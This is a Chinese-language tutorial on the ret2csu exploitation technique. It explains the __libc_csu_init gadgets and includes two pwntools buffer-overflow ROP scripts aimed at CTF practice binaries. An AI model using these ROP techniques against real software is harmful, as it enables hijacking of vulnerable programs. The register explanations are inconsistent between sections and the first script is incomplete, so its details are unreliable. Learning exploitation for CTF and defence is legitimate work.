Ret2csu
ret2csu是一种黑客技术,当您试图控制程序但找不到通常用于操纵程序行为的gadgets时使用。
当程序使用某些库(如libc)时,它具有用于管理程序中不同部分如何通信的一些内置函数。在这些函数中,有一些隐藏的宝石可以充当我们缺失的gadgets,特别是一个称为__libc_csu_init
的函数。
__libc_csu_init中的神奇Gadgets
在**__libc_csu_init
**中,有两个要突出的指令序列(gadgets):
第一个序列允许我们在几个寄存器(rbx、rbp、r12、r13、r14、r15)中设置值。这些类似于我们可以稍后使用的数字或地址的存储槽。
pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;
这个工具允许我们通过从堆栈中弹出值来控制这些寄存器。
第二个序列使用我们设置的值来执行一些操作:
将特定值移动到其他寄存器,使它们准备好作为函数参数使用。
调用一个位置,该位置由将r15和rbx中的值相加确定,然后将rbx乘以8。
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
也许你不知道任何要写入的地址,而且你需要一个
ret
指令。请注意,第二个小工具也会以ret
结尾,但是你需要满足一些条件才能到达它:
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret
条件如下:
[r12 + rbx*8]
必须指向存储可调用函数的地址(如果没有思路且没有PIE,可以直接使用_init
函数);如果
_init
在0x400560
,使用 GEF 在内存中搜索指向它的指针,并使[r12 + rbx*8]
成为具有指向_init
的指针的地址:
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
rbp
和rbx
必须具有相同的值以避免跳转你需要考虑一些省略的弹出操作
RDI 和 RSI
从 ret2csu gadget 中控制 rdi
和 rsi
的另一种方法是通过访问特定的偏移量:
查看此页面以获取更多信息:
BROP - Blind Return Oriented Programming示例
使用调用
假设你想要进行系统调用或调用一个像 write()
这样的函数,但需要在 rdx
和 rsi
寄存器中作为参数具有特定值。通常,你会寻找直接设置这些寄存器的 gadget,但你找不到任何。
这就是 ret2csu 发挥作用的地方:
设置寄存器:使用第一个 magic gadget 从堆栈中弹出值并将其放入 rbx、rbp、r12 (edi)、r13 (rsi)、r14 (rdx) 和 r15 中。
使用第二个 Gadget:有了这些设置的寄存器,你可以使用第二个 gadget。这使你可以将你选择的值移动到
rdx
和rsi
中 (分别来自 r14 和 r13),为函数调用准备参数。此外,通过控制r15
和rbx
,你可以使程序调用位于你计算并放入[r15 + rbx*8]
中的地址的函数。
你可以在这里使用此技术并解释它的示例,这是它使用的最终利用:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028
rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0) # r12
rop.raw(0) # r13
rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX!
rop.raw(RW_LOC) # r15 - holds location of called function!
rop.raw(REG_CALL) # all the movs, plus the call
p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
请注意,前面的漏洞利用并不意味着进行RCE,而是仅仅调用一个名为win
的函数(从标准输入中获取win
的地址,在ROP链中调用gets并将其存储在r15中),并将第三个参数的值设为0xdeadbeefcafed00d
。
绕过调用并到达ret
以下漏洞利用是从此页面提取的,在这个页面中使用了ret2csu,但是不是使用调用,而是绕过比较并到达ret
。
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
from pwn import *
# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b * 0x4007b0')
# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)
# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)
# Padding from start of input to saved return address
payload = "0"*0x28
# Our first gadget, and the values to be popped from the stack
# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX
# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15
# Finally the address of ret2win
payload += ret2win
# Send the payload
target.sendline(payload)
target.interactive()
为什么不直接使用libc?
通常这些情况也容易受到ret2plt + ret2lib的影响,但有时您需要控制的参数比直接在libc中找到的gadget更多。例如,write()
函数需要三个参数,直接找到设置所有这些参数的gadget可能是不可能的。
最后更新于